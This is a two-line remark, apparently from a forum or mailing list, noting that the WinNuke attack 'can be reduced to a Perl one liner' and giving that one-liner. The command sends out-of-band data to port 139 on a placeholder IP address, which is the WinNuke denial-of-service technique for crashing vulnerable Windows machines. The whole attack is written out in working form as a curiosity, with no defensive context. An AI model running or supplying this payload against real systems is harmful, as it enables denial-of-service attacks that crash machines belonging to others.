Interestingly, the winnuke program can be reduced to a Perl one liner:
perl -MIO::Socket -e 'IO::Socket::INET->new(PeerAddr=>"1.2.3.4:139")->send("bye",MSG_OOB)'